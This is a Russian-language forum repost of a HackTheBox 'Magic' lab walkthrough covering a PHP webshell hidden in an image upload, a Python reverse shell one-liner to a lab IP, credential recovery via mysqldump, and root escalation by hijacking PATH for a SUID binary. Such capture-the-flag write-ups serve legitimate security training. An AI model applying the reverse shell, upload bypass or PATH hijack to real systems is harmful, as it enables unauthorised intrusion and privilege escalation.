HimeraSearchDB
Carding_EbayThief
triada
CrackerTuch
d-shop

НОВОСТИ HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo

NewsBot
Оффлайн

NewsBot

.
.
Регистрация
21.07.20
Сообщения
40.408
Реакции
1
Репутация
0
i_uyz6yb2yn2gnbjmi1udyepcqi.png


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки .

В данной статье кидаем шелл в картинке, ищем учетные данные с помощью mysqldump и повышаем привилегии через sysinfo.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал и в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации .

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.185, который я добавляю в /etc/hosts.


10.10.10.185 magic.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.


masscan -e tun0 -p1-65535,U:1-65535 10.10.10.185 --rate=500

4rmeluthzyg_tlpa6js8d3gihxq.png


Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.


nmap -A magic.htb -p22,80

sp_17vv7fwpisi85n7wldt4o8em.png


На хосте открыто 2 порта: 22 — служба SSH, и 80 — веб-сервер. Как обычно, смотрим веб.

xthn53o-eylieagqdurl2n-zzvc.png


Замечаем ссылку на страницу авторизации. Первым делом пробуем один способ обхода авторизации, и находим верный.

a9njywuwxwmx908kijqm8lcwiac.png


Нас встречает форма загрузки изображений. Давайте попробуем закинуть в php код. Для этого возьмем первые четыре байта изображения и допишем к ним код. При этом сохраним двойным расширением. Так как при загрузке, сервер проверит последнее, а при выполнении — первое.

python -c "print('\x89\x50\x4e\x47' + '')" > 1.php.png

v5jn_pz33c-eip2gxcfbaalpu_s.png


Но нас ловят.

fxm4t4gqitesiqrnqfy26x-vpds.png


Давайте попробуем обхитрить, и спрячем код в комментарии.

rcnqhjj9bom4kyxppdl-rshqis4.png


И после попытки загрузить, нам сообщают об успешной загрузке.

ikdhxv9loyjiroq0ai2n1r0gaai.png


Файл загружен, но вопрос — куда. Переберем директории, сайт простенький и время у меня было много, поэтому я не использовал gobuster и огромные словари. Запускаем dirb.

dtndc7kkkjdslkchl5khzbawpce.png


Скорее всего, мы нашли директорию, куда загружаются файлы. Теперь обратимся к нашему файлу, и в качестве параметра передадим команду ls.

j2gn6hab28evlhpwalqielcw-xs.png


И она выполнена!

Entry Point


Давайте кинем реверс шелл в качестве параметра.

-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.60",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

И получаем бэкконнект на 4321 порт.

ytfdtaf7_odmss4jwz5y5mbl6ag.png


zeyjc-q9idabayrwg_g3qqlr__w.png


И в рабочей директории находим файл для работы с базой данных.

o3nhszdyijhvwbvzxv3tyn8jppe.png


И в данном файле находим пароль пользователя.

4u8xnmzt5h9ftwdm1f76yc5i4yg.png


Причем этот пользователь есть в системе. Пробуем сменить пользователя, но неудачно.

ub9_stktqxt6o_gk0nzjzeloevw.png


USER


Так как это пароль от базы данных, то он связан с mysql. Но у меня не вышло работать ни с mysql, ни с mysqladmin. Тогда было принято решение посмотреть все программы связанные с mysql.

87r_uiqhvuwi8qbni1eyvyhcpno.png


Удача улыбнулась mysqldump. Подключаемся и находим пароль.
mysqldump -u theseus -p iamkingtheseus Magic
ghq-uubn6pfruclrvruzjwyjdhc.png


Теперь удачно меняем пользователя и получаем пользовательский флаг.

qlrte0bj4u43e47lo_ai0npzwcs.png


ROOT


Для удобства работы я сгенерировал SSH ключи с помощью ssh-keygen, публичный записал в файл ~/.ssh/authorized_keys, а с помощью приватного подключился по SSH. Далее загружаем на удаленный хост LinPEAS и запускаем. После полного перечисления всей системы, анализируем вывод. Единственное, за что я зацепился, это файлы с выставленным SUID (те, которые выполняются нами от имени root).

2pi0hg56esdbeohanbeajvh8a2y.png


Программа sysinfo. Поискав информацию, ничего про выполнение команд найти не удалось. Тогда пришла идея, а что если sysinfo использует другие программы, которые мы можем дискредитировать. Я запустил sysinfo под ltrace.

0usyy9kyecdqmfjunwibdcpu7t8.png


Таким образом, sysinfo запускает программы lshw, fdisk и cat. Теперь подробнее про вектор LPE. В операционной системе есть переменная окружения PATH, которая хранит в себе пути.

5-p38wcyi5idrnej9lwamjs-6bg.png


Когда вы набираете программу ls или cd, система по очереди ищет эти файлы в директориях, указанных в PATH. Таким образом, если мы на первое место в PATH запишем любую директорию, а нее помести другую программу ls или cat, то будет вызвана именно она.

Таким образом, подобное я проверну с fdisk. Я не буду кидать реверс шелл, а просто скопирую наш SSH ключ пользователя руту, чтобы подключиться к руту по SSH также, как к пользователю.

rvt8chvxzjwspszk48igcgdvme8.png


Для примера вызовем fdisk. Как можно наблюдать, вызван легитимный fdisk.

dhayurm9j2wl4hhzzh_mlo-3xcm.png


Теперь добавим наш путь в переменную окружения PATH.

b294znpw4v7qsnelqgnz_mb4k0m.png


Теперь система будет искать fdisk сначала в /tmp/123.

lpanuhm9fdct-z_k8421wphgeio.png


Запустим sysinfo.

sqyahqz2r05rrbu-ghw2y5osb3o.png


В выводе видим ошибку, так как директории .ssh у рута нет. Изменим скрипт, чтобы он сначала создавал директорию, а потом производил копирование. После выполнения sysinfo, никаких ошибок fdisk нет. Подключаемся по SSH как root и забираем флаг.

njwgfajqekgkxpbm_yqg_ijsbym.png


Вы можете присоединиться к нам в . Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
 
Сверху Снизу